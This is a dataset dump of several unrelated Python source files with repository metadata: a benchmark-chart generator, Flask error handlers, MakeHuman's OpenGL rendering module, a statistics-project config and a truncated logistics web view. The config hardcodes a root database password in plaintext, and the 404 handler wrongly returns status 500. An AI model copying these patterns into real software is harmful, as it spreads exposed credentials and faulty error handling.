2017-04-28T22:07:30.204559
2013-03-25T22:48:32
2013-03-25T22:48:32
8,025,192
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python # columns = ["Type", "Elapsed Time (seconds)", "Operations", "Ops/Sec", "Average Latency"] import sys if len(sys.argv) > 1: filename = sys.argv[1] else: print "Usage: generateChart.py <input-filename>" print "Produces: <input-filename>.html" print sys.exit() opsCols = ["Elapsed Time (seconds)", "Ops/Sec"] opsColsString = "" for heading in opsCols: opsColsString += " opsData.addColumn('number', '" + heading + "');\n" latencyCols = ["Elapsed Time (seconds)", "Average Latency"] latencyColsString = "" for heading in latencyCols: latencyColsString += " latencyData.addColumn('number', '" + heading + "');\n" opsData = "" latencyData = "" with open(filename, 'r') as f: read_data = f.readlines() for line in read_data: if "sec" in line and "operations" in line and "current ops/sec" in line: line = line.strip().split() try: dataType = line[7].strip('[') dataTime = line[0] dataOps = str(int(line[2])) dataOpsSec = line[4] dataLatency = line[8].strip("]").split("=")[1] # dataString += " ['" + dataType + "', " + dataTime + ", " + dataOps + ", " + dataOpsSec + ", " + dataLatency + "],\n" opsData += " [" + dataTime + ", " + dataOpsSec + "],\n" latencyData += " [" + dataTime + ", " + dataLatency + "],\n" except Exception: pass html = """ <html> <head> <!--Load the AJAX API--> <script type="text/javascript" src="https://www.google.com/jsapi"></script> <script type="text/javascript"> // Load the Visualization API and the piechart package. google.load('visualization', '1.0', {'packages':['corechart']}); // Set a callback to run when the Google Visualization API is loaded. google.setOnLoadCallback(drawOps); google.setOnLoadCallback(drawLatency); function drawOps() { // Create the data table. var opsData = new google.visualization.DataTable(); """ + opsColsString + """ opsData.addRows([ """ + opsData[:-2] + """ ]); // Set chart options var options = {'title':'Operations per Second', 'width':1920, 'height':600, 'curveType': 'function', 'pointSize': 3, 'lineWidth': 1 }; // Instantiate and draw our chart, passing in some options. var opsChart = new google.visualization.ScatterChart(document.getElementById('chart_ops')); opsChart.draw(opsData, options); } function drawLatency() { // Create the data table. var latencyData = new google.visualization.DataTable(); """ + latencyColsString + """ latencyData.addRows([ """ + latencyData[:-2] + """ ]); // Set chart options var options = {'title':'Average Latency', 'width':1920, 'height':600, 'curveType': 'function', 'pointSize': 3, 'lineWidth': 1 }; // Instantiate and draw our chart, passing in some options. var latencyChart = new google.visualization.ScatterChart(document.getElementById('chart_latency')); latencyChart.draw(latencyData, options); } </script> </head> <body> <!--Div that will hold the pie chart--> <div id="chart_ops"></div> <div id="chart_latency"></div> </body> </html> """ with open(filename + '.html', 'w') as f: f.write(html) print filename + ".html has been created."
UTF-8
Python
false
false
2,013
14,680,198,257,999
6ee7d2a7e9dc91d78e4d786e58fd0b99a45b7ea5
afca793edca7ce34533409e528cddc6d3e3479c8
/app/error_handlers.py
18f88ee008d8d58be84277dfe329c0eced64c1ca
[]
no_license
dogukantufekci/thankspress
https://github.com/dogukantufekci/thankspress
3c65b2ae11d6871d9c86709528b2e186ee3a45f7
9deb6ead68b2daca4fff6f42204f1623aa4e4891
refs/heads/master
2021-01-10T13:03:47.890819
2013-05-23T02:58:50
2013-05-23T02:58:50
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from app import app, db from flask import render_template @app.errorhandler(404) def internal_error(error): return render_template('404.html'), 500 @app.errorhandler(500) def internal_error(error): db.session.rollback() return render_template('500.html'), 500
UTF-8
Python
false
false
2,013
19,052,474,940,963
cccecdeeb6d7e38ef33f1076152196a55530ea2f
52a7b47662d1cebbdbe82b1bc3128b0017bbfea2
/lib/glmodule.py
1cea21dce640d2ffbf7adf84e84f79e701a9f017
[ "CC0-1.0", "GPL-1.0-or-later", "LicenseRef-scancode-generic-exception", "LicenseRef-scancode-unknown-license-reference", "AGPL-3.0-or-later", "AGPL-3.0-only" ]
non_permissive
BlenderCN-Org/MakeHuman
https://github.com/BlenderCN-Org/MakeHuman
33380a7fbdfe9e2d45d111b3801f9b19a88da58e
108191b28abb493f3c7256747cf7b575e467d36a
refs/heads/master
2020-05-23T21:02:57.147838
2013-07-31T18:37:50
2013-07-31T18:37:50
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- """ **Project Name:** MakeHuman **Product Home Page:** http://www.makehuman.org/ **Code Home Page:** http://code.google.com/p/makehuman/ **Authors:** Glynn Clements **Copyright(c):** MakeHuman Team 2001-2013 **Licensing:** AGPL3 (see also http://www.makehuman.org/node/318) **Coding Standards:** See http://www.makehuman.org/node/165 Abstract -------- TODO """ import sys import math import atexit import numpy as np import OpenGL OpenGL.ERROR_CHECKING = False OpenGL.ERROR_ON_COPY = True from OpenGL.GL import * from OpenGL.GLU import * from OpenGL.GL.framebufferobjects import * from OpenGL.GL.ARB.transpose_matrix import * from OpenGL.GL.ARB.multisample import * from OpenGL.GL.ARB.texture_multisample import * from core import G from image import Image import matrix import debugdump import log from texture import Texture from shader import Shader import profiler g_primitiveMap = [GL_POINTS, GL_LINES, GL_TRIANGLES, GL_QUADS] def queryDepth(sx, sy): sz = np.zeros((1,), dtype=np.float32) glReadPixels(sx, G.windowHeight - sy, 1, 1, GL_DEPTH_COMPONENT, GL_FLOAT, sz) return sz[0] def grabScreen(x, y, width, height, filename = None): if width <= 0 or height <= 0: raise RuntimeError("width or height is 0") log.debug('grabScreen: %d %d %d %d', x, y, width, height) # Draw before grabbing, to make sure we grab a rendering and not a picking buffer draw() sx0 = x sy0 = G.windowHeight - y - height sx1 = sx0 + width sy1 = sy0 + height sx0 = max(sx0, 0) sx1 = min(sx1, G.windowWidth) sy0 = max(sy0, 0) sy1 = min(sy1, G.windowHeight) rwidth = sx1 - sx0 rwidth -= rwidth % 4 sx1 = sx0 + rwidth rheight = sy1 - sy0 surface = np.empty((rheight, rwidth, 3), dtype = np.uint8) log.debug('glReadPixels: %d %d %d %d', sx0, sy0, rwidth, rheight) glReadPixels(sx0, sy0, rwidth, rheight, GL_RGB, GL_UNSIGNED_BYTE, surface) if width != rwidth or height != rheight: surf = np.zeros((height, width, 3), dtype = np.uint8) + 127 surf[...] = surface[:1,:1,:] dx0 = (width - rwidth) / 2 dy0 = (height - rheight) / 2 dx1 = dx0 + rwidth dy1 = dy0 + rheight surf[dy0:dy1,dx0:dx1] = surface surface = surf surface = np.ascontiguousarray(surface[::-1,:,:]) surface = Image(data = surface) if filename is not None: surface.save(filename) return surface pickingBuffer = None def updatePickingBuffer(): width = G.windowWidth height = G.windowHeight rwidth = (width + 3) / 4 * 4 # Resize the buffer in case the window size has changed global pickingBuffer if pickingBuffer is None or pickingBuffer.shape != (height, rwidth, 3): pickingBuffer = np.empty((height, rwidth, 3), dtype = np.uint8) # Turn off lighting glDisable(GL_LIGHTING) # Turn off antialiasing glDisable(GL_BLEND) if have_multisample: glDisable(GL_MULTISAMPLE) # Clear screen glClearColor(0.0, 0.0, 0.0, 0.0) glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT) drawMeshes(True) # Make sure the data is 1 byte aligned glPixelStorei(GL_PACK_ALIGNMENT, 1) #glFlush() #glFinish() glReadPixels(0, 0, rwidth, height, GL_RGB, GL_UNSIGNED_BYTE, pickingBuffer) glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT) # Turn on antialiasing glEnable(GL_BLEND) if have_multisample: glEnable(GL_MULTISAMPLE) # restore lighting glEnable(GL_LIGHTING) # draw() def getPickedColor(x, y): y = G.windowHeight - y if y < 0 or y >= G.windowHeight or x < 0 or x >= G.windowWidth: G.color_picked = (0, 0, 0) return if pickingBuffer is None: updatePickingBuffer() G.color_picked = tuple(pickingBuffer[y,x,:]) def reshape(w, h): try: # Prevent a division by zero when minimising the window if h == 0: h = 1 # Set the drawable region of the window glViewport(0, 0, w, h) # set up the projection matrix glMatrixMode(GL_PROJECTION) glLoadIdentity() # go back to modelview matrix so we can move the objects about glMatrixMode(GL_MODELVIEW) updatePickingBuffer() except Exception: log.error('gl.reshape', exc_info=True) def drawBegin(): # clear the screen & depth buffer glClearColor(G.clearColor[0], G.clearColor[1], G.clearColor[2], G.clearColor[3]) glClear(GL_DEPTH_BUFFER_BIT | GL_COLOR_BUFFER_BIT) def drawEnd(): G.swapBuffers() have_multisample = None def OnInit(): def A(*args): return np.array(list(args), dtype=np.float32) try: # Start with writing relevant info to the debug dump in case stuff goes # wrong at a later time debugdump.dump.appendGL() debugdump.dump.appendMessage("GL.VENDOR: " + glGetString(GL_VENDOR)) debugdump.dump.appendMessage("GL.RENDERER: " + glGetString(GL_RENDERER)) debugdump.dump.appendMessage("GL.VERSION: " + glGetString(GL_VERSION)) except Exception as e: log.error("Failed to GL debug info to debug dump: %s", format(str(e))) global have_multisample have_multisample = glInitMultisampleARB() # Lights and materials lightPos = A( -10.99, 20.0, 20.0, 1.0) # Light - Position ambientLight = A(0.0, 0.0, 0.0, 1.0) # Light - Ambient Values diffuseLight = A(1.0, 1.0, 1.0, 1.0) # Light - Diffuse Values specularLight = A(1.0, 1.0, 1.0, 1.0) # Light - Specular Values MatAmb = A(0.11, 0.11, 0.11, 1.0) # Material - Ambient Values MatDif = A(1.0, 1.0, 1.0, 1.0) # Material - Diffuse Values MatSpc = A(0.2, 0.2, 0.2, 1.0) # Material - Specular Values MatShn = A(10.0,) # Material - Shininess MatEms = A(0.1, 0.05, 0.0, 1.0) # Material - Emission Values glEnable(GL_DEPTH_TEST) # Hidden surface removal # glEnable(GL_CULL_FACE) # Inside face removal # glEnable(GL_ALPHA_TEST) # glAlphaFunc(GL_GREATER, 0.0) glDisable(GL_DITHER) glEnable(GL_LIGHTING) # Enable lighting glLightfv(GL_LIGHT0, GL_AMBIENT, ambientLight) glLightfv(GL_LIGHT0, GL_DIFFUSE, diffuseLight) glLightfv(GL_LIGHT0, GL_SPECULAR, specularLight) glLightfv(GL_LIGHT0, GL_POSITION, lightPos) glLightModeli(GL_LIGHT_MODEL_COLOR_CONTROL, GL_SEPARATE_SPECULAR_COLOR) # If we enable this, we have stronger specular highlights glMaterialfv(GL_FRONT, GL_AMBIENT, MatAmb) # Set Material Ambience glMaterialfv(GL_FRONT, GL_DIFFUSE, MatDif) # Set Material Diffuse glMaterialfv(GL_FRONT, GL_SPECULAR, MatSpc) # Set Material Specular glMaterialfv(GL_FRONT, GL_SHININESS, MatShn) # Set Material Shininess # glMaterialfv(GL_FRONT, GL_EMISSION, MatEms) # Set Material Emission glEnable(GL_LIGHT0) glEnable(GL_COLOR_MATERIAL) glColorMaterial(GL_FRONT, GL_AMBIENT_AND_DIFFUSE) # glEnable(GL_TEXTURE_2D) glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE) glEnable(GL_BLEND) glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) # Activate and specify pointers to vertex and normal array glEnableClientState(GL_NORMAL_ARRAY) glEnableClientState(GL_COLOR_ARRAY) glEnableClientState(GL_VERTEX_ARRAY) if have_multisample: glEnable(GL_MULTISAMPLE) def OnExit(): # Deactivate the pointers to vertex and normal array glDisableClientState(GL_VERTEX_ARRAY) glDisableClientState(GL_NORMAL_ARRAY) # glDisableClientState(GL_TEXTURE_COORD_ARRAY) glDisableClientState(GL_COLOR_ARRAY) log.message("Exit from event loop\n") def cameraPosition(camera, eye): proj, mv = camera.getMatrices(eye) glMatrixMode(GL_PROJECTION) glLoadMatrixd(np.ascontiguousarray(proj.T)) glMatrixMode(GL_MODELVIEW) glLoadMatrixd(np.ascontiguousarray(mv.T)) def transformObject(obj): glMultMatrixd(np.ascontiguousarray(obj.transform.T)) def drawMesh(obj): if not obj.visibility: return glDepthFunc(GL_LEQUAL) # Transform the current object glPushMatrix() transformObject(obj) if obj.texture and obj.solid: glEnable(GL_TEXTURE_2D) glEnableClientState(GL_TEXTURE_COORD_ARRAY) glBindTexture(GL_TEXTURE_2D, obj.texture) glTexCoordPointer(2, GL_FLOAT, 0, obj.UVs) if obj.nTransparentPrimitives: obj.sortFaces() # Fill the array pointers with object mesh data glVertexPointer(3, GL_FLOAT, 0, obj.verts) glNormalPointer(GL_FLOAT, 0, obj.norms) glColorPointer(4, GL_UNSIGNED_BYTE, 0, obj.color) # Disable lighting if the object is shadeless if obj.shadeless: glDisable(GL_LIGHTING) if obj.cull: glEnable(GL_CULL_FACE) glCullFace(GL_BACK if obj.cull > 0 else GL_FRONT) # Enable the shader if the driver supports it and there is a shader assigned if obj.shader and obj.solid and Shader.supported() and not obj.shadeless: glUseProgram(obj.shader) # Set custom attributes if obj.shaderObj.requiresVertexTangent(): glVertexAttribPointer(obj.shaderObj.vertexTangentAttrId, 4, GL_FLOAT, GL_FALSE, 0, obj.tangents) glEnableVertexAttribArray(obj.shaderObj.vertexTangentAttrId) # TODO # This should be optimized, since we only need to do it when it's changed # Validation should also only be done when it is set if obj.shaderParameters: obj.shaderObj.setUniforms(obj.shaderParameters) # draw the mesh if not obj.solid: glDisableClientState(GL_COLOR_ARRAY) glColor3f(0.0, 0.0, 0.0) glPolygonMode(GL_FRONT_AND_BACK, GL_LINE) glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], obj.primitives.size, GL_UNSIGNED_INT, obj.primitives) glEnableClientState(GL_COLOR_ARRAY) glPolygonMode(GL_FRONT_AND_BACK, GL_FILL) glEnable(GL_POLYGON_OFFSET_FILL) glPolygonOffset(1.0, 1.0) glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], obj.primitives.size, GL_UNSIGNED_INT, obj.primitives) glDisable(GL_POLYGON_OFFSET_FILL) elif obj.nTransparentPrimitives: glDepthMask(GL_FALSE) glEnable(GL_ALPHA_TEST) glAlphaFunc(GL_GREATER, 0.0) glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], obj.primitives.size, GL_UNSIGNED_INT, obj.primitives) glDisable(GL_ALPHA_TEST) glDepthMask(GL_TRUE) elif obj.depthless: glDepthMask(GL_FALSE) glDisable(GL_DEPTH_TEST) glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], obj.primitives.size, GL_UNSIGNED_INT, obj.primitives) glEnable(GL_DEPTH_TEST) glDepthMask(GL_TRUE) else: glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], obj.primitives.size, GL_UNSIGNED_INT, obj.primitives) if obj.solid and not obj.nTransparentPrimitives: glDisableClientState(GL_COLOR_ARRAY) for i, (start, count) in enumerate(obj.groups): color = obj.gcolor(i) if color is None or np.all(color[:3] == 255): continue glColor4ub(*color) indices = obj.primitives[start:start+count,:] glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], indices.size, GL_UNSIGNED_INT, indices) glEnableClientState(GL_COLOR_ARRAY) # Disable the shader if the driver supports it and there is a shader assigned if obj.shader and obj.solid and Shader.supported() and not obj.shadeless: glUseProgram(0) glActiveTexture(GL_TEXTURE0) glDisable(GL_CULL_FACE) # Enable lighting if the object was shadeless if obj.shadeless: glEnable(GL_LIGHTING) if obj.texture and obj.solid: glDisable(GL_TEXTURE_2D) glDisableClientState(GL_TEXTURE_COORD_ARRAY) glPopMatrix() def pickMesh(obj): if not obj.visibility: return if not obj.pickable: return # Transform the current object glPushMatrix() transformObject(obj) # Fill the array pointers with object mesh data glVertexPointer(3, GL_FLOAT, 0, obj.verts) glNormalPointer(GL_FLOAT, 0, obj.norms) # Use color to pick i glDisableClientState(GL_COLOR_ARRAY) # Disable lighting glDisable(GL_LIGHTING) if obj.cull: glEnable(GL_CULL_FACE) glCullFace(GL_BACK if obj.cull > 0 else GL_FRONT) # draw the meshes for i, (start, count) in enumerate(obj.groups): glColor3ub(*obj.clrid(i)) indices = obj.primitives[start:start+count,:] glDrawElements(g_primitiveMap[obj.vertsPerPrimitive-1], indices.size, GL_UNSIGNED_INT, indices) glDisable(GL_CULL_FACE) glEnable(GL_LIGHTING) glEnableClientState(GL_COLOR_ARRAY) glPopMatrix() def drawOrPick(pickMode, obj): if pickMode: if hasattr(obj, 'pick'): obj.pick() else: if hasattr(obj, 'draw'): obj.draw() _hasRenderSkin = None def hasRenderSkin(): global _hasRenderSkin if _hasRenderSkin is None: _hasRenderSkin = all([ bool(glGenRenderbuffers), bool(glBindRenderbuffer), bool(glRenderbufferStorage), bool(glGenFramebuffers), bool(glBindFramebuffer), bool(glFramebufferRenderbuffer)]) return _hasRenderSkin def renderSkin(dst, vertsPerPrimitive, verts, index = None, objectMatrix = None, texture = None, UVs = None, textureMatrix = None, color = None, clearColor = None): if isinstance(dst, Texture): glBindTexture(GL_TEXTURE_2D, dst.textureId) elif isinstance(dst, Image): dst = Texture(image = dst) elif isinstance(dst, tuple): dst = Texture(size = dst) else: raise RuntimeError('Unsupported destination: %r' % dst) width, height = dst.width, dst.height framebuffer = glGenFramebuffers(1) glBindFramebuffer(GL_FRAMEBUFFER, framebuffer) glFramebufferTexture2D(GL_DRAW_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, dst.textureId, 0) glFramebufferTexture2D(GL_READ_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, dst.textureId, 0) if clearColor is not None: glClearColor(clearColor[0], clearColor[1], clearColor[2], clearColor[3]) glClear(GL_COLOR_BUFFER_BIT) glVertexPointer(verts.shape[-1], GL_FLOAT, 0, verts) if texture is not None and UVs is not None: if isinstance(texture, Image): tex = Texture() tex.loadImage(texture) texture = tex if isinstance(texture, Texture): texture = texture.textureId glEnable(GL_TEXTURE_2D) glEnableClientState(GL_TEXTURE_COORD_ARRAY) glBindTexture(GL_TEXTURE_2D, texture) glTexCoordPointer(UVs.shape[-1], GL_FLOAT, 0, UVs) if color is not None: glColorPointer(color.shape[-1], GL_UNSIGNED_BYTE, 0, color) glEnableClientState(GL_COLOR_ARRAY) else: glDisableClientState(GL_COLOR_ARRAY) glColor4f(1, 1, 1, 1) glDisableClientState(GL_NORMAL_ARRAY) glDisable(GL_LIGHTING) glDepthMask(GL_FALSE) glDisable(GL_DEPTH_TEST) # glDisable(GL_CULL_FACE) glPushAttrib(GL_VIEWPORT_BIT) glViewport(0, 0, width, height) glMatrixMode(GL_MODELVIEW) glPushMatrix() if objectMatrix is not None: glLoadTransposeMatrixd(objectMatrix) else: glLoadIdentity() glMatrixMode(GL_PROJECTION) glPushMatrix() glLoadIdentity() glOrtho(0, 1, 0, 1, -100, 100) if textureMatrix is not None: glMatrixMode(GL_TEXTURE) glPushMatrix() glLoadTransposeMatrixd(textureMatrix) if index is not None: glDrawElements(g_primitiveMap[vertsPerPrimitive-1], index.size, GL_UNSIGNED_INT, index) else: glDrawArrays(g_primitiveMap[vertsPerPrimitive-1], 0, verts[:,:,0].size) if textureMatrix is not None: glMatrixMode(GL_TEXTURE) glPopMatrix() glMatrixMode(GL_PROJECTION) glPopMatrix() glMatrixMode(GL_MODELVIEW) glPopMatrix() glPopAttrib() glEnable(GL_DEPTH_TEST) glDepthMask(GL_TRUE) glEnable(GL_LIGHTING) glEnableClientState(GL_NORMAL_ARRAY) glEnableClientState(GL_COLOR_ARRAY) glDisable(GL_TEXTURE_2D) glDisableClientState(GL_TEXTURE_COORD_ARRAY) surface = np.empty((height, width, 4), dtype = np.uint8) glReadPixels(0, 0, width, height, GL_RGBA, GL_UNSIGNED_BYTE, surface) surface = Image(data = np.ascontiguousarray(surface[::-1,:,:3])) glFramebufferTexture2D(GL_DRAW_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, 0, 0) glFramebufferTexture2D(GL_READ_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, 0, 0) glBindFramebuffer(GL_FRAMEBUFFER, 0) glDeleteFramebuffers(np.array([framebuffer])) return surface def drawMeshes(pickMode): if G.world is None: return cameraMode = None # Draw all objects contained by G.world for obj in sorted(G.world, key = (lambda obj: obj.priority)): camera = G.cameras[obj.cameraMode] if camera.stereoMode: glColorMask(GL_TRUE, GL_FALSE, GL_FALSE, GL_TRUE) # Red cameraPosition(camera, 1) drawOrPick(pickMode, obj) glClear(GL_DEPTH_BUFFER_BIT) glColorMask(GL_FALSE, GL_TRUE, GL_TRUE, GL_TRUE) # Cyan cameraPosition(camera, 2) drawOrPick(pickMode, obj) # To prevent the GUI from overwritting the red model, we need to render it again in the z-buffer glColorMask(GL_FALSE, GL_FALSE, GL_FALSE, GL_FALSE) # None, only z-buffer cameraPosition(camera, 1) drawOrPick(pickMode, obj) glColorMask(GL_TRUE, GL_TRUE, GL_TRUE, GL_TRUE) # All cameraMode = None else: if cameraMode != obj.cameraMode: cameraPosition(camera, 0) cameraMode = obj.cameraMode drawOrPick(pickMode, obj) def _draw(): drawBegin() drawMeshes(False) drawEnd() def draw(): try: if profiler.active(): profiler.accum('_draw()', globals(), locals()) else: _draw() except Exception: log.error('gl.draw', exc_info=True)
UTF-8
Python
false
false
2,013
13,322,988,578,862
d5106133c1dc77bc8c0b8a7c7fd6cbe382f7f1f9
e8a55b712e4a4a042c088dfff9ae03e011a31c24
/config.py
9f95e0e641841f8ba3e011314564286da6d930b7
[ "Apache-2.0" ]
permissive
elataret/lolstatistics
https://github.com/elataret/lolstatistics
b44b1aac092feec4e2a63891b8f9cbdd2bba948d
068a1b8875114922c086ae6b55549dad3ec0ea82
refs/heads/master
2016-08-07T03:13:48.898630
2014-05-23T06:11:28
2014-05-23T06:11:28
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python MAX_REQUESTS_PER_10_SECONDS = 10 MAX_REQUESTS_PER_10_MINUTES = 500 GAMES_TIMEFRAME = 600 # 10 minutes DB_NAME = 'riotstatistics' DB_USER = 'root' DB_PASS = 'qwe123' DB_HOST = 'localhost' """ Old select query. "SELECT c1.`name` as lookChamp, c2.`name` as otherChamps, \ round( (count(if(result = 1, result, NULL)) / count(*) * 100), 2) as percentage, \ count(*) as games_analyzed\ FROM ( \ SELECT \ case when `championId` = {0} then `championId` \ else `enemyChampionId` \ end as champ1, \ case when `enemyChampionId` = {0} then `championId` \ else `enemyChampionId` \ end as champ2, \ case when `championId` = 412 then `outcome` \ else case when `outcome` = 1 then 0 \ else 1 \ end \ end as result \ FROM `interactions` WHERE `championId` = {0} OR `enemyChampionId` = {0} \ ) t1 \ LEFT JOIN `champion` c1 ON t1.`champ1` = c1.`champion_id` \ LEFT JOIN `champion` c2 ON t1.`champ2` = c2.`champion_id` \ GROUP BY otherChamps \ ORDER BY games_analyzed DESC, percentage DESC\ LIMIT 10".format(champion_name) """
UTF-8
Python
false
false
2,014
11,785,390,289,560
2bd7d58ce8ec3090efc53d5a5956cad9c1c3aa9c
d6d11910cb374c5dc4dd7e9acf9fcb625d0ca68d
/sys2do/views/root.py
a7f1a5f00d412f1e61d72c2229406bf4a02dd33e
[]
no_license
LamCiuLoeng/Logistics
https://github.com/LamCiuLoeng/Logistics
477df1308b096706724120434787d7cf8f063d52
fbbfc2e58af8d23995d4044808e2a77ea30b6fb8
refs/heads/master
2020-04-05T23:34:05.889528
2012-11-19T10:12:24
2012-11-19T10:12:24
2,640,560
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- import traceback import os import random from datetime import datetime as dt, timedelta from flask import g, render_template, flash, session, redirect, url_for, request from flask.blueprints import Blueprint from flask.views import View from flaskext.babel import gettext as _ from sqlalchemy import and_ from sys2do import app from sys2do.model import DBSession, User from flask.helpers import jsonify, send_file, send_from_directory from sys2do.util.decorator import templated, login_required, tab_highlight from sys2do.util.common import _g, _gp, _gl, _info, _error, date2text, _debug from sys2do.constant import MESSAGE_ERROR, MESSAGE_INFO, MSG_NO_SUCH_ACTION, \ MSG_SAVE_SUCC, GOODS_PICKUP, GOODS_SIGNED, OUT_WAREHOUSE, IN_WAREHOUSE, \ MSG_RECORD_NOT_EXIST, LOG_GOODS_PICKUPED, LOG_GOODS_SIGNED, MSG_SERVER_ERROR, \ SYSTEM_DATE_FORMAT, MSG_WRONG_PASSWORD, MSG_UPDATE_SUCC from sys2do.views import BasicView from sys2do.model.master import CustomerProfile, Customer, Supplier, \ CustomerTarget, Receiver, CustomerContact, Province, City, Barcode, \ CustomerDiquRatio, CustomerSource, InventoryItem from sys2do.model.logic import OrderHeader, TransferLog, PickupDetail, \ DeliverDetail from sys2do.model.system import UploadFile from sys2do.setting import UPLOAD_FOLDER_PREFIX __all__ = ['bpRoot'] bpRoot = Blueprint('bpRoot', __name__) class RootView(BasicView): @login_required @tab_highlight('TAB_HOME') @templated("index.html") def index(self): # flash('hello!', MESSAGE_INFO) # flash('SHIT!', MESSAGE_ERROR) # app.logger.debug('A value for debugging') # flash(TEST_MSG, MESSAGE_INFO) # return send_file('d:/new.png', as_attachment = True) return {} @login_required @tab_highlight('TAB_MAIN') @templated("main.html") def main(self): return {} @login_required @tab_highlight('TAB_MAIN') @templated("change_pw.html") def change_pw(self): return {} @login_required def save_pw(self): old_pw = _g('old_pw') new_pw = _g('new_pw') new_repw = _g('new_repw') msg = [] if not old_pw : msg.push(u'请填写原始密码') if not new_pw : msg.push(u'请填写新密码') if not new_repw : msg.push(u'请填写确认密码') if new_pw != new_repw : msg.push(u'新密码与确认密码不相符!') if len(msg) > 0 : flash("\n".join(msg), MESSAGE_ERROR) return redirect('/change_pw') user = DBSession.query(User).get(session['user_profile']['id']) if not user.validate_password(old_pw): flash(u'原始密码错误!', MESSAGE_ERROR) return redirect('/change_pw') user.password = new_pw flash(MSG_UPDATE_SUCC, MESSAGE_INFO) return redirect('/index') @login_required @tab_highlight('TAB_DASHBOARD') @templated("dashboard.html") def dashboard(self): return {} def download(self): id = _g("id") f = DBSession.query(UploadFile).get(id) _debug(f.path) return send_file(os.path.join(UPLOAD_FOLDER_PREFIX, f.path), as_attachment = True, attachment_filename = f.name) def dispatch_index(self): c = session.get('CURRENT_PATH', None) if c: if c == 'ORDER_INDEX': return redirect(url_for("bpOrder.view", action = "index")) if c == 'DELIVER_INDEX': return redirect(url_for("bpDeliver.view", action = "index")) if c == 'FIN_INDEX': return redirect(url_for("bpFin.view", action = "index")) if c == 'INVENTORY_INDEX': return redirect(url_for("bpInventory.view", action = "index")) else: return redirect(url_for("bpRoot.view", action = "index")) def ajax_master(self): master = _g('m') if master == 'customer': cs = DBSession.query(Customer).filter(and_(Customer.active == 0, Customer.name.like('%%%s%%' % _g('name')))).order_by(Customer.name).all() data = [{'id' : c.id , 'name' : c.name } for c in cs] return jsonify({'code' : 0, 'msg' : '', 'data' : data}) if master == 'customer_detail': c = DBSession.query(Customer).get(_g('id')) ss = [{'id' : s.id , 'name' : s.name } for s in c.sources] ts = [{'id' : t.id , 'name' : t.name } for t in c.targets] return jsonify({'code' : 0 , 'msg' : '' , 'data' : c.populate() , 'sources' : ss, 'targets' : ts, }) if master == 'source': ts = DBSession.query(CustomerSource).filter(and_(CustomerSource.active == 0, CustomerSource.customer_id == _g('id'))) data = [{'id' : c.id , 'name' : c.name } for c in ts] return jsonify({'code' : 0, 'msg' : '', 'data' : data}) if master == 'source_detail': s = DBSession.query(CustomerSource).get(_g('id')) data = s.populate() if s.default_contact() : data['contact'] = s.default_contact().populate() else: data['contact'] = {} cities = [] if _g('need_city_list', None) == '1' and s.province_id: cities = [{'id' : city.id, 'name' : city.name } for city in s.province.children()] return jsonify({'code' : 0 , 'msg' : '' , 'data' : data, 'cities' : cities}) if master == 'target': ts = DBSession.query(CustomerTarget).filter(and_(CustomerTarget.active == 0, CustomerTarget.customer_id == _g('id'))) data = [{'id' : c.id , 'name' : c.name } for c in ts] return jsonify({'code' : 0, 'msg' : '', 'data' : data}) if master == 'target_detail': t = DBSession.query(CustomerTarget).get(_g('id')) data = t.populate() if t.default_contact(): data['contact'] = t.default_contact().populate() else : data['contact'] = {} cities = [] if _g('need_city_list', None) == '1' and t.province_id: cities = [{'id' : city.id, 'name' : city.name } for city in t.province.children()] return jsonify({'code' : 0 , 'msg' : '' , 'data' : data, 'cities' : cities}) if master == 'contact_search': ts = DBSession.query(CustomerContact).filter(and_(CustomerContact.active == 0, CustomerContact.type == _g('type'), CustomerContact.refer_id == _g('refer_id'), CustomerContact.name.op('like')("%%%s%%" % _g('customer_contact')), )).all() data = [t.populate() for t in ts] return jsonify({'code' : 0 , 'msg' : '' , 'data' : data}) if master == 'target_contact_detail': try: c = DBSession.query(CustomerContact).filter(and_(CustomerContact.active == 0, CustomerContact.name == _g('name'), )).one() return jsonify({'code' : 0 , 'data' : c.populate()}) except: return jsonify({'code' : 0 , 'data' : {}}) if master == 'supplier': cs = DBSession.query(Supplier).filter(Supplier.active == 0).order_by(Supplier.name).all() return jsonify({'code' : 0, 'msg' : '', 'data' : cs}) if master == 'supplier_detail': t = DBSession.query(Supplier).get(_g('id')) return jsonify({'code' : 0 , 'msg' : '' , 'data' : t.populate()}) if master == 'receiver_detail': t = DBSession.query(Receiver).get(_g('id')) return jsonify({'code' : 0 , 'msg' : '' , 'data' : t.populate()}) if master == 'province': ps = DBSession.query(Province).filter(and_(Province.active == 0)).order_by(Province.name) data = [{'id' : p.id, 'name' : p.name } for p in ps] return jsonify({'code' : 0 , 'msg' : '' , 'data' : data}) if master == 'province_city': cs = DBSession.query(City).filter(and_(City.active == 0, City.parent_code == Province.code, Province.id == _g('pid'))).order_by(City.name) data = [{'id' : c.id, 'name' : c.name } for c in cs] return jsonify({'code' : 0 , 'msg' : '' , 'data' : data}) if master == 'inventory_item': t = DBSession.query(InventoryItem).get(_g('id')) return jsonify({'code' : 0 , 'msg' : '' , 'data' : t.populate()}) return jsonify({'code' : 1, 'msg' : 'Error', }) def _compose_xml_result(self, params): xml = [] xml.append('<?xml version="1.0" encoding="UTF-8" ?>') xml.append('<ORDER>') xml.append('<NO>%s</NO>' % params['no']) 